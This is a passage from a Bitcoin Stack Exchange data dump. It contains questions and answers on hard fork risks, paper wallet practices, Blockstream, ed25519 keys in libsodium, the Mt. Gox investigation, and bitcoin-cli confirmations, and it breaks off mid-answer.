  <row Id="42443" PostTypeId="1" CreationDate="2016-01-19T13:07:14.960" Score="3" ViewCount="1123" Body="&lt;p&gt;Why hasn't there been any update since 9th of September 2015? What has happened since then?&lt;/p&gt;&#xA;" OwnerUserId="3577" LastEditorUserId="5406" LastEditDate="2016-01-20T08:47:41.723" LastActivityDate="2016-01-20T16:13:15.813" Title="What has happened with the investigation of mtgox.com?" Tags="|mtgox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42444" PostTypeId="2" ParentId="42442" CreationDate="2016-01-19T13:29:07.327" Score="1" Body="&lt;h1&gt;Risk of a hard fork (as &lt;em&gt;compared to a soft fork&lt;/em&gt;)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The only difference between hard and soft-fork is how pre-fork full nodes react to the new blocks. This has a few implications:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pre-fork full nodes will be willing to follow a different (likely shorter) chain. They might accept payment confirmations that turn out to not be valid in the longer chain. Note that this can happen in a soft-fork too if a non-upgraded miner mines an invalid block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pre-fork &lt;em&gt;miners&lt;/em&gt;, if there are any, can continue to mine on the shorter chain (since it is the longest &lt;em&gt;valid&lt;/em&gt; chain to them). This leads to the biggest risk: if that shorter chain ever overtakes the longer one, there will be a large reorganization, and many confirmed payments no longer will be (from the perspective of the people who had followed the fork). This is why most proposed hard-forks ensure they have a supermajority of hashpower before triggering.&lt;/p&gt;&#xA;" OwnerUserId="5892" LastEditorUserId="5892" LastEditDate="2016-01-19T14:00:45.083" LastActivityDate="2016-01-19T14:00:45.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42446" PostTypeId="2" ParentId="42442" CreationDate="2016-01-19T14:51:46.430" Score="5" Body="&lt;p&gt;The following assumes that one understands what happens with a &lt;a href=&quot;https://en.bitcoin.it/wiki/Softfork&quot; rel=&quot;nofollow noreferrer&quot;&gt;soft&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork&quot; rel=&quot;nofollow noreferrer&quot;&gt;hard&lt;/a&gt; fork. See all the answers &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/30817/what-is-a-soft-fork&quot;&gt;here&lt;/a&gt; for a good explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say a new change is implemented in the bitcoin protocol and it requires a hard fork. Full nodes are &lt;strong&gt;required&lt;/strong&gt; to upgrade to the new version (otherwise there are dangers...).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the dangers of a hard fork?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The real danger is that the blockchain will split in two parallel blockchains. Miners, merchants, users (via wallets and other software), etc. that did not upgrade will support/use blockchain A and miners, merchants, users, etc. that did upgrade will support/use blockchain B.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How would people lose money due to a hard fork?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Effectively there are now two bitcoin blockchains. The bitcoins that you had before the fork will exist in both blockchains A and B (they doubled!). A &lt;strong&gt;simplified&lt;/strong&gt; example would be that: You can use your bitcoins from an old wallet and buy something from a merchant that uses old nodes. Then you can use a new wallet and buy something from a merchant that uses the new nodes with the &lt;em&gt;same&lt;/em&gt; bitcoins. This is not even doublespend since the chains are different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what this also means is that the bitcoin users and community are also split. Each blockchain instead of having X nodes (the nodes before the split) that keep it secure will have X/2 nodes. Several merchants accept bitcoin but some accept version A and some version B... and so on. This is not user friendly and it will cause much confusion. Something like that will shatter trust in the bitcoin network causing its price to diminish. Fear of future hard forks (splits) will diminish trust (and price) even more. So people will lose money indirectly since the value of bitcoin will collapse (best case scenario the price will split... but it is probably going to be much much worse).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is it necessary to give more than a month time to prepare for a hard fork?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because we want to make sure that &lt;em&gt;everybody&lt;/em&gt; is aware of the change; miners, merchants and users. We want to make sure that they do not have objections to the change and that they agree on the upgrade. In addition wallet creators and merchants might also need time to upgrade their software accordingly (depending on the upgrade changes). The delay is for both (first) social and (second) technical reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that if the split is, say 95% upgraded - 5% did not (or vice versa), it will not be a big problem since the bigger chain will have the overwhelming majority and the remaining will be forced to upgrade or be ignored.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-01-19T14:56:55.703" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="42447" PostTypeId="2" ParentId="42441" CreationDate="2016-01-19T15:45:30.793" Score="3" Body="&lt;p&gt;As far as I know, they don't have an explicit business model published anywhere. We do know that they are working on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow&quot;&gt;Side chains&lt;/a&gt; - a two-way peg that has fixed transfers of value from bitcoin to a sidechain and back.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://lightning.network/lightning-network-paper.pdf&quot; rel=&quot;nofollow&quot;&gt;Lightning network&lt;/a&gt; - a network of transactions that can be updated relatively quickly (seconds, theoretically) and provably given if the transaction is published on the blockchain.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both these things are innovations, but how they will make a profit off them is not clear. That said, both these innovations potentially could be more useful if transactions on bitcoin proper were more costly. For both, that would be because transactions on a side chain or lightning network can be potentially cheaper and thus more utilized. That is in theory. Neither of these things are public or even built. Most of the accusation is in theory. Only the Blockstream people know the business model and given that they're a startup with no profits, I wouldn't be surprised if they pivot a few times before they actually find a business model that works for them. This may or may not involve profiting from the innovations above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, there is no clear revenue model so the statement about blockstream is mostly speculative.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="23123" LastEditDate="2016-01-19T16:04:46.833" LastActivityDate="2016-01-19T16:04:46.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42449" PostTypeId="1" CreationDate="2016-01-19T16:36:28.677" Score="5" ViewCount="785" Body="&lt;p&gt;I am looking to move some of my bitcoins from cold storage to a paper wallet.  I have heard that metal stamping is one of the better long term strategies since paper can burn or fade.  Any other suggestions?  Thanks in advance - Kristine&lt;/p&gt;&#xA;" OwnerUserId="32158" LastActivityDate="2016-05-18T23:20:29.550" Title="What is the best method for creating a paper wallet?" Tags="|paper-wallet|coldstorage|offline|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42450" PostTypeId="2" ParentId="42449" CreationDate="2016-01-19T17:46:43.363" Score="3" Body="&lt;p&gt;Here are a list of my best practices for creating a paper wallet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generate all keys on an offline computer system, this ensures that you are not using an online system that could be sending your keys across the internet.&lt;/li&gt;&#xA;&lt;li&gt;Verify the integrity of the code as well as the integrity of the author, things to check include MD5, SHA1 sums and that author is a reputable contributor to the community.&lt;/li&gt;&#xA;&lt;li&gt;Ensure the integrity of the host system being used to generate the keys if your system is compromised your keys could be as well.  To mitigate against this I often use a LiveCD based operating system.&lt;/li&gt;&#xA;&lt;li&gt;The wallet should not be stored on a live computer system until the fund are intended to be spent. &lt;/li&gt;&#xA;&lt;li&gt;The wallet should never be displayed, exposed, or photographed and when possible BIP38 encryption should be enabled providing an additional layer of security.&lt;/li&gt;&#xA;&lt;li&gt;Ensure fully random sources of entropy are being used during private key generation, information/randomness should never be provided by humans (I.E. brainwallets).  &lt;/li&gt;&#xA;&lt;li&gt;Paper wallets should never reuse addresses, and will only store one keypair per wallet.  When spending remember all funds need to be removed from the wallet at that time, many have lots coins due to improper transaction generation which can spend the remaining balance in the form of a fee.&lt;/li&gt;&#xA;&lt;li&gt;Optional: I prefer to store the paperwallet inside of a tamper evident device, this will ensure that no one else has had access to your private keys (thus protecting them from being stolen)&lt;/li&gt;&#xA;&lt;li&gt;Optional: Multiple backup locations of the paperwallet all protected and stored using the same techniques, from a backup perspective I am never comfortable unless I have 3 copies stored in at least 2 different physical locations.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2016-01-19T18:08:13.873" LastActivityDate="2016-01-19T18:08:13.873" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42451" PostTypeId="1" CreationDate="2016-01-19T18:18:17.480" Score="4" ViewCount="511" Body="&lt;p&gt;Every once and a while, I step into some article like this one: &lt;a href=&quot;http://recode.net/2015/07/05/forget-bitcoin-what-is-the-blockchain-and-why-should-you-care/&quot; rel=&quot;nofollow&quot;&gt;Forget Bitcoin -- What Is the Blockchain and Why Should You Care?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been hearing a lot of blabbering about companies to begin using the Blockchain technology for book keeping, for example, but making no use of Bitcoin at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder: &lt;strong&gt;how is it possible to separate both things?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, the aim of Satoshi Nakamoto was to create a decentralized coin that would supress the need of a trustworthy third part, which operates over the Blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main aspect of the Blockchain is that it's a decentralized network, working on a peer-to-peer basis, no servers, no clients, only peers. The only reason someone would contribute to the building of the Blockchain is the monetary reward in form of mined bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could a company make use of the Blockchain? How would it pay someone to do its book keeping (or whatever) without payments in crypto-currency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that this might be a rather wide question, but I'd be satisfied with only one example of how could it be possible to use the Blockchain technology without Bitcoin (or similar crypto-currencies).&lt;/p&gt;&#xA;" OwnerUserId="21351" LastEditorUserId="6256" LastEditDate="2016-01-19T18:43:52.803" LastActivityDate="2016-01-21T11:55:49.330" Title="Is it feasible to use the Blockchain technology without the Bitcoin?" Tags="|blockchain|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42453" PostTypeId="2" ParentId="42451" CreationDate="2016-01-19T18:51:58.857" Score="1" Body="&lt;p&gt;Blockchain by definition is a data structure, in that sense we can and already have decoupled it from Bitcoin.  There are many alt-currencies that implement blockchain as a data structure and a data store.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ethereum is building a blockchain based application platform.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Storj is an example of blockchain technology that also is trying to create a blockchain for data storage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SAFE(Secure Access For Everyone) network is attempting to build an entire computing platform built on a blockchain.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is incentivizing some form of participation by providing a service. On the Bitcoin blockchain the service being provided is the ability to send value globally very quickly.  Thus the reward that was created is financial. &lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2016-01-19T19:03:30.057" LastActivityDate="2016-01-19T19:03:30.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42454" PostTypeId="2" ParentId="42449" CreationDate="2016-01-19T19:16:45.193" Score="-2" Body="&lt;p&gt;metal stamping on metal that is not susceptible to rust&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like gold aluminum etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;other main risks are loss of funds and theft of funds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;loss can happen because the damaged program can have error and generate bad address. the spendability should be tested before with small money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;theft can happen because the program can create not random but known to attacker addresses. this way the attacker can steal funds once user top up the insecure paper wallet.&lt;/p&gt;&#xA;" OwnerUserId="32091" LastEditorUserId="32091" LastEditDate="2016-01-19T19:23:54.527" LastActivityDate="2016-01-19T19:23:54.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42455" PostTypeId="2" ParentId="42420" CreationDate="2016-01-19T21:00:22.743" Score="16" Body="&lt;p&gt;Disclosure: I'm a Blockstream co-founder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Major feature contributions to Bitcoin Core:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Greg Maxwell, Andrew Poelstra and myself (as well as several other contributors) worked on &lt;strong&gt;&lt;a href=&quot;https://github.com/bitcoin/secp256k1&quot;&gt;libsecp256k1&lt;/a&gt;&lt;/strong&gt;, a well-tested library for efficient elliptic curve cryptography using the curve secp256k1. Bitcoin Core switched signing to it in 0.10 and verification in 0.12 (with a 5x speedup for signature validation as a result). This work also led to the discovery of &lt;a href=&quot;https://www.openssl.org/news/secadv/20150108.txt&quot;&gt;CVE-2014-3570&lt;/a&gt; (OpenSSL bignum squaring bug). Work on the library started as a hobby project of mine in 2013, but many optimizations, tests, correctness proofs, and automated verification were added after we could work on it full time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I worked on &lt;strong&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4468&quot;&gt;headers-first synchronization&lt;/a&gt;&lt;/strong&gt; (Bitcoin Core 0.10), a new mechanism for block chain downloading which downloads from multiple peers at once, and solved many of the problems with the earlier mechanism. The idea was &lt;a href=&quot;https://en.bitcoin.it/wiki/User:Gmaxwell/Reverse_header-fetching_sync&quot;&gt;first described&lt;/a&gt; by Greg Maxwell in 2012, but the implementation only got finished after starting at Blockstream.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Jorge Timon and Matt Corallo (as well as Cory Fields) worked on the creation of &lt;strong&gt;libbitcoinconsensus&lt;/strong&gt;, a shared library built from the Bitcoin Core codebase that exposes part of the validation logic, and shipped with 0.10.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Besides that, we provided a large number of changes implementing numerous features, cleanups, optimizations, refactors, improvements, and general maintenance. When looking at the history of Bitcoin Core v0.12.0rc1 after august 1st 2014, &lt;strong&gt;500 out of 2185 commits&lt;/strong&gt; (23%; over 30% when including libsecp256k1) came from Blockstream employees and contractors. Most of these people were active in the project long before the creation of the company, as these same people were responsible for 866 out of the 4195 commits before august 1st 2014 (20%). These numbers exclude merges, to avoid favouring people with commit access to the repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We were also involved in several improvements not directly related to Bitcoin Core code changes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0066.mediawiki&quot;&gt;BIP66&lt;/a&gt;&lt;/strong&gt; fixed a &lt;a href=&quot;https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-July/009697.html&quot;&gt;potential forking risk&lt;/a&gt; from the network that was caused by an inconsistency across platforms between OpenSSL versions and opened the door to non-OpenSSL based validation.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0068.mediawiki&quot;&gt;BIP68&lt;/a&gt;, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0112.mediawiki&quot;&gt;BIP112&lt;/a&gt;, and &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0113.mediawiki&quot;&gt;BIP113&lt;/a&gt; were proposed and first implemented by Mark Friedenbach to introduce &lt;strong&gt;relative locktimes&lt;/strong&gt; and enforcement thereof, which are necessary for more efficient payment channel systems like Lightning.&lt;/li&gt;&#xA;&lt;li&gt;Several generic blockchain technology improvements were discovered by us and implemented in our first technology demo sidechain &lt;a href=&quot;https://github.com/ElementsProject/elementsproject.github.io&quot;&gt;Elements&lt;/a&gt; Alpha, including &lt;strong&gt;segregated witness&lt;/strong&gt;, &lt;strong&gt;confidential transactions&lt;/strong&gt;, &lt;strong&gt;Schnorr signatures&lt;/strong&gt; and &lt;strong&gt;key tree signatures&lt;/strong&gt;. Segregated witness is currently being worked on as a soft-fork for Bitcoin (BIP141 through BIP144), and includes script versioning which makes introducing things like Schnorr signatures in future softforks much easier.&lt;/li&gt;&#xA;&lt;li&gt;Other proposed &lt;strong&gt;BIPs&lt;/strong&gt;: &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0099.mediawiki&quot;&gt;BIP99&lt;/a&gt; (consensus change best practices) by Jorge Timon, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0103.mediawiki&quot;&gt;BIP103&lt;/a&gt; (block size increases following technological growth) by me, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0111.mediawiki&quot;&gt;BIP111&lt;/a&gt; (NODE_BLOOM flag) by Matt Corallo, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0009.mediawiki&quot;&gt;BIP9&lt;/a&gt; (Version bits with timeout and delay) by me, Greg Maxwell and Rusty Russell (as well as Peter Todd).&lt;/li&gt;&#xA;&lt;li&gt;Matt Corallo implemented and operates the Bitcoin &lt;strong&gt;relay network&lt;/strong&gt;, providing low latency block propagation to various parties.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This list is by no means exhaustive, and I'm probably focusing mostly on contributions I participated in myself.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-01-19T23:14:13.840" LastActivityDate="2016-01-19T23:14:13.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42456" PostTypeId="2" ParentId="42437" CreationDate="2016-01-20T00:08:55.997" Score="5" Body="&lt;p&gt;It's not possible to directly compute the ed25519 public key from the private key.  Instead, use the deterministic private key to create a seed, then use the seed to re-create the private key with its corresponding public key. The following code snippet assumes &lt;code&gt;ed25519_skpk&lt;/code&gt; is already initialized:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char           hex_ed_pk[65];                                      &#xA;unsigned char  seed[crypto_sign_SEEDBYTES];                       &#xA;unsigned char  ed25519_skpk[crypto_sign_ed25519_SECRETKEYBYTES];        &#xA;unsigned char  ed25519_pk[crypto_sign_ed25519_PUBLICKEYBYTES];&#xA;&#xA;// COMPUTE ED25519 PUBLIC KEY, REQUIRES ESTABLISHING A SEED&#xA;(void)crypto_sign_ed25519_sk_to_seed( seed,ed25519_skpk);                &#xA;(void)crypto_sign_seed_keypair( ed25519_pk, ed25519_skpk, seed );      &#xA;(void)sodium_bin2hex( hex_ed_pk, 65, ed25519_pk, 32 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="51529" LastEditDate="2017-09-11T15:00:09.963" LastActivityDate="2017-09-11T15:00:09.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42457" PostTypeId="2" ParentId="42208" CreationDate="2016-01-20T00:16:33.453" Score="1" Body="&lt;p&gt;I have the same set up and getinfo for me takes about 10-20s initially but then takes ~5s there after. (I need to restart the daemon periodically as it crashes for some reason). I'm running 0.11.1 and haven't made any special tweaks. gettxoutsetinfo takes around 12 minutes. CPU, RAM and Swap comparable with what you have as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardware is probably the most obvious limitation. You could overclock the Pi CPU but I doubt it will drastically reduce the response time though.&lt;/p&gt;&#xA;" OwnerUserId="31581" LastActivityDate="2016-01-20T00:16:33.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42459" PostTypeId="2" ParentId="41209" CreationDate="2016-01-20T03:15:22.737" Score="1" Body="&lt;p&gt;It worked for me too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just have to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Compose signable for the first input, with zero length string as script for all inputs besides the one that is signed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Sign the first input with der encoding of signed signable from 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Have the same operation on every input&lt;/p&gt;&#xA;" OwnerUserId="30446" LastActivityDate="2016-01-20T03:15:22.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42461" PostTypeId="2" ParentId="42443" CreationDate="2016-01-20T04:55:53.020" Score="3" Body="&lt;p&gt;AFAIK, the latest official news is the article &lt;a href=&quot;http://www.thedailybeast.com/articles/2015/09/14/after-the-ceo-s-indictment-the-great-mt-gox-bitcoin-mystery-deepens.html&quot; rel=&quot;nofollow&quot;&gt;After the CEO’s Indictment the Great Mt. Gox Bitcoin Mystery Deepens&lt;/a&gt; from the 14th of September 2015, and these two tweets:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PDG #Français de MtGox,banque #BTC basé à #Tokyo sera condamné sans jugement sur des charges n'ayant aucun lien avec disparition 50,000,000$ – &lt;a href=&quot;https://twitter.com/NathalieStucky/status/685247598291103744&quot; rel=&quot;nofollow&quot;&gt;@NathalieStucker (Jan 7th 2016)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;30歳のフランス人が6ヶ月間以上東京の #刑務所 に #永遠 と取調べられてるため、#外国メディア は日本の #司法制度 に #疑問。23日間の #保管期間、#人権 にかかわる。– &lt;a href=&quot;https://twitter.com/NathalieStucky/status/685746820509601792&quot; rel=&quot;nofollow&quot;&gt;@NathalieStucker (Jan 9th 2016)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can follow Nathalie Stucky on Twitter &lt;a href=&quot;https://twitter.com/NathalieStucky&quot; rel=&quot;nofollow&quot;&gt;@NathalieStucker&lt;/a&gt; and as a contributor on &lt;a href=&quot;http://www.thedailybeast.com/contributors/nathalie-kyoko-stucky.html&quot; rel=&quot;nofollow&quot;&gt;Daily Beast&lt;/a&gt;, she seems to be the only one interested in truth and justice on this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a few unofficial news, AFAIK Mark Karpelès hasn't been allowed any visits, not even contacts with his family and is not allowed to use a computer either. &#xA; He already lost 35 kg but still hasn't accepted to be the scapegoat, which seems to be why he's still detained after more than 4 months, without any trial or official charges…&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="5406" LastEditDate="2016-01-20T16:13:15.813" LastActivityDate="2016-01-20T16:13:15.813" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42462" PostTypeId="1" AcceptedAnswerId="42466" CreationDate="2016-01-20T06:00:10.850" Score="2" ViewCount="2235" Body="&lt;p&gt;Is there a place where I can find the Bitcoin whitepaper by satoshi in plain text markdown format?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2017-09-20T14:28:31.587" Title="Where can I find the Bitcoin white paper in plain text markdown format?" Tags="|satoshi|whitepaper|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42463" PostTypeId="2" ParentId="42441" CreationDate="2016-01-20T06:27:11.837" Score="3" Body="&lt;p&gt;It is unlikely that the Blockstream business model requires small blocks.  For Blockstream to succeed, Bitcoin will need to succeed independently or there will be limited demand and other devs will increase the block size and the model will fail anyway.&lt;/p&gt;&#xA;" OwnerUserId="32180" LastActivityDate="2016-01-20T06:27:11.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42464" PostTypeId="1" CreationDate="2016-01-20T10:51:24.330" Score="3" ViewCount="596" Body="&lt;p&gt;I have my wallet with some BTC in it, on my PC, and I live in europe. Let's say I want to pay 2BTC to a company in India or China, or whatever, but they don't accept BTC. They only take Indian Rupees (INR) or Chinese Yuan (CNY).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question: is there any way to send BTC to their country, then those BTC become Rupees, and these workers can just walk to their bank to get their money? Or some other easy way to pay them without fees or at least the smallest fees possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="32184" LastEditorUserId="18196" LastEditDate="2016-01-20T15:00:14.660" LastActivityDate="2016-06-09T21:28:03.383" Title="How can I pay someone in another country?" Tags="|transactions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42465" PostTypeId="2" ParentId="42464" CreationDate="2016-01-20T12:03:38.370" Score="1" Body="&lt;p&gt;You can get your BTC converted to INR (CNY) using some standard websites (Example &lt;a href=&quot;https://btcxindia.com/&quot; rel=&quot;nofollow&quot;&gt;bitcxindia&lt;/a&gt; or unocoin). This will require an indian ( chinese) bank account. And then pay the concerned people in INR (CNY) via that bank.  &lt;/p&gt;&#xA;" OwnerUserId="31482" LastActivityDate="2016-01-20T12:03:38.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42466" PostTypeId="2" ParentId="42462" CreationDate="2016-01-20T12:21:51.493" Score="1" Body="&lt;p&gt;Perhaps convert the whitepaper in pdf to your required format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A discussion in &lt;a href=&quot;https://groups.google.com/forum/?utm_medium=email&amp;amp;utm_source=footer#!msg/pandoc-discuss/yjfhJ6h47Y0/msK6aAzlrB0J&quot; rel=&quot;nofollow&quot;&gt;pandoc&lt;/a&gt; mentions &lt;code&gt;pdftohtml -xml&lt;/code&gt; to be most promising.&lt;/p&gt;&#xA;" OwnerUserId="31482" LastActivityDate="2016-01-20T12:21:51.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42467" PostTypeId="1" AcceptedAnswerId="42471" CreationDate="2016-01-20T13:00:44.177" Score="1" ViewCount="831" Body="&lt;p&gt;When I use the &lt;code&gt;getbalance&lt;/code&gt; command in bitcoin-cli and I set &lt;code&gt;minconf&lt;/code&gt; to 1. Will it display the bitcoins with 1 confirmations and more? If this is true, what is a good amount of confirmations that will make the transaction safe but also fast?&lt;/p&gt;&#xA;" OwnerUserId="31880" LastEditorUserId="31880" LastEditDate="2016-01-20T13:34:44.913" LastActivityDate="2016-01-20T18:57:40.993" Title="Bitcoin-cli balance minconf" Tags="|bitcoind|confirmations|bitcoin-cli|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42468" PostTypeId="1" CreationDate="2016-01-20T14:10:37.367" Score="1" ViewCount="883" Body="&lt;p&gt;I am using Multbit on my desktop, and I want to use my wallet on a another device like my phone.&lt;/p&gt;&#xA;" OwnerUserId="32188" LastActivityDate="2016-05-22T14:05:44.597" Title="How do I export my private key on MultiBit" Tags="|wallet|private-key|recover-private-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42469" PostTypeId="2" ParentId="42462" CreationDate="2016-01-20T15:25:31.117" Score="4" Body="&lt;p&gt;You can find a markdown version &lt;a href=&quot;https://github.com/karask/satoshi-paper/blob/master/bitcoin.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="31844" LastEditDate="2017-07-14T08:25:46.240" LastActivityDate="2017-07-14T08:25:46.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42470" PostTypeId="2" ParentId="42239" CreationDate="2016-01-20T17:23:16.630" Score="0" Body="&lt;p&gt;The problem was caused becasue BlockCypher-php-client-1.2.2 does not support uncompressed public keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details: &lt;a href=&quot;https://github.com/blockcypher/php-client/issues/5&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blockcypher/php-client/issues/5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11722" LastActivityDate="2016-01-20T17:23:16.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42471" PostTypeId="2" ParentId="42467" CreationDate="2016-01-20T18:57:40.993" Score="0" Body="&lt;p&gt;To answer your question, &lt;strong&gt;yes&lt;/strong&gt;, setting &lt;code&gt;minconf&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt; will display the balance of your wallet that is summed up by combining the transactions in your wallet that have a minimum of &lt;code&gt;1&lt;/code&gt; network confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your secondary question is really a question between balancing the security of your transactions and the speed at which you wish to spend your funds, because waiting, say, 2 network confirmations will be faster (~20 minutes), but will not be confirmed long enough on the block chain for the transaction to be &quot;secure&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is essentially a form of the &quot;50 percent attack&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An attacker that controls more than 50% of the network's computing power can, for the time that he is in control, exclude and modify the ordering of transactions. This allows him to:&#xA;&#xA;Reverse transactions that he sends while he's in control. This has the potential to double-spend transactions that previously had already been seen in the block chain.&#xA;Prevent some or all transactions from gaining any confirmations&#xA;Prevent some or all other miners from mining any valid blocks&#xA;&#xA;The attacker can't:&#xA;&#xA;Reverse other people's transactions&#xA;Prevent transactions from being sent at all (they'll show as 0/unconfirmed)&#xA;Change the number of coins generated per block&#xA;Create coins out of thin air&#xA;Send coins that never belonged to him&#xA;&#xA;With less than 50%, the same kind of attacks are possible, but with less than 100% rate of success. For 